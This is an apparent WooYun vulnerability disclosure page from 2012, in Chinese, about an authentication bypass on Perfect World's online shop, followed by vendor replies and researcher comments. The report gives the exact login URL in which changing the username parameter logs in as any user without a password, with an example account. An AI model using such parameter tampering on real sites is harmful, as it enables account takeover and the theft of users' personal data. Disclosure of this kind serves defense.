当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-06414

漏洞标题：完美商城所有用户登录都不需要密码的，很霸气！用户信息都泄露了！

相关厂商：完美时空

漏洞作者： goderci

提交时间：2012-04-26 18:28

修复时间：2012-05-01 18:29

公开时间：2012-05-01 18:29

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-04-26： 细节已通知厂商并且等待厂商处理中
2012-05-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

完美商城所有用户登录都不需要密码的，很霸气！用户信息都泄露了！
给你们客服发邮件，他们没理我，估计以为我是恐吓的！所以发乌云了！

详细说明：

只要修改该链接的username=参数就可登陆任意用户账号！拥有该用户所有权限！执行任意操作，导致所有用户信息泄露！
http://shop.wanmei.com/user.php?act=act_login&username=xxxxx&back_url=http://shop.wanmei.com/goods.php?id=185

漏洞证明：

只要修改该链接的username=参数就可登陆任意用户账号！拥有该用户所有权限！执行任意操作，导致所有用户信息泄露！
http://shop.wanmei.com/user.php?act=act_login&username=fulegeyun&back_url=http://shop.wanmei.com/goods.php?id=185
如:username=xxxxxx,即可登陆xxxxxx该用户！
可随便去评论处找几个ID试试！


用户个人信息：


用户详细信息：


其他用户



赶紧修复吧！

修复方案：

登录设计的很神奇！

版权声明：转载请注明来源 goderci@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-05-01 18:29

厂商回复：

漏洞Rank：20 (WooYun评价)

最新状态：

2012-05-02：感谢goderci提交的漏洞，经过我们的确认此漏洞确实存在。由于在我们工作的疏忽导致没有确认漏洞，实在对不起，请wooyun.org给此漏洞评分。 也请大家多多提交漏洞，我们会第一时间关注。感谢大家的支持

2012-05-09：感谢goderci提交的漏洞，经过我们的确认此漏洞确实存在，由于是外包项目，已经通知厂商进行了修复。由于在我们工作的疏忽导致没有确认漏洞，实在对不起，请wooyun.org给此漏洞评分。 也请大家多多提交漏洞，我们会第一时间关注。感谢大家的支持

漏洞评价：

评论

  1. 2012-04-26 18:32 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    我来膜拜的

  2. 2012-04-26 18:33 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @一刀终情 我只是想说其实我不是只会找xss！

  3. 2012-04-26 18:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    额 不要自己联系嘛，发乌云不好么..?

  4. 2012-04-26 18:35 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @xsser 这个感觉有点严重，发乌云再联系！我之前有些发的你们都不放出来！嫌弃我么？

  5. 2012-04-26 18:35 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @xsser 阿里xss的发刺总邮箱，有签名书送

  6. 2012-04-26 18:35 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @一刀终情 嗯！我得了！

  7. 2012-04-26 18:41 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    额 各位不要这样子....

  8. 2012-04-26 18:43 | 斯文的鸡蛋 ( 普通白帽子 | Rank:173 漏洞数:41 | 我在这头，你在那头~)

    这个霸气啊

  9. 2012-04-26 18:45 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    @goderci 我想说，碉堡了。。

  10. 2012-04-26 18:46 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @Valo洛洛 必须滴！我觉得很神奇！

  11. 2012-04-26 18:46 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    @goderci 坐等公开学习

  12. 2012-04-26 18:48 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @Valo洛洛 @其实灰常2！不用学习，一眼就看明白了！

  13. 2012-04-26 18:48 | Z-0ne 认证白帽子 ( 普通白帽子 | Rank:559 漏洞数:38 | 目前专注于工控安全基础研究，工业数据采集...)

    坐等官方回复

  14. 2012-04-26 18:50 | J4nker ( 普通白帽子 | Rank:136 漏洞数:35 | I have a dream)

    ecshop出0day了？？？？坐等·····

  15. 2012-04-26 19:01 | 北北 ( 路人 | Rank:25 漏洞数:5 | 广告位招租。有阿里、万网的漏洞私信给我有...)

    碉堡了

  16. 2012-04-26 20:12 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我是来拜膜的。

  17. 2012-04-26 20:58 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    。。。

  18. 2012-04-26 22:05 | Errorera ( 普通白帽子 | Rank:112 漏洞数:21 | 我们应该在犯错误的情况下学习！)

    @J4nker 出了

  19. 2012-04-27 00:00 | J4nker ( 普通白帽子 | Rank:136 漏洞数:35 | I have a dream)

    @Errorera 各种求呀。

  20. 2012-04-27 09:23 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    @一刀终情 已经买了，情何以堪

  21. 2012-04-27 11:09 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @凤凰 你那不带签名吧~~

  22. 2012-04-27 14:05 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    @一刀终情 是啊，不过还没看完呢，，，我检讨

  23. 2012-05-01 18:52 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    什么情况？

  24. 2012-05-01 19:01 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    忽略再偷偷修复！邪恶！阴险！无耻！

  25. 2012-05-01 19:06 | kobin97 认证白帽子 ( 核心白帽子 | Rank:1754 漏洞数:190 | 关注网络安全。。)

    又一个黑名单！这样的厂商！

  26. 2012-05-01 20:37 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    我晕，忽略啊.....XXXOOO

  27. 2012-05-01 20:40 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    明明修复了，还忽略，脑袋里装的啥呢....

  28. 2012-05-01 20:45 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    丢不起脸么？我去

  29. 2012-05-01 22:13 | 斯文的鸡蛋 ( 普通白帽子 | Rank:173 漏洞数:41 | 我在这头，你在那头~)

    又一个中国移动

  30. 2012-05-02 10:50 | goderci ( 普通白帽子 | Rank:542 漏洞数:47 | http://www.yunday.org)

    @完美时空 这个其实他们后来一直有跟我沟通修复的，可能是部门之间交流存在问题，还是表示理解！:)

  31. 2012-05-02 10:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @goderci 嗯，只要不中国移动和京东商城就可以了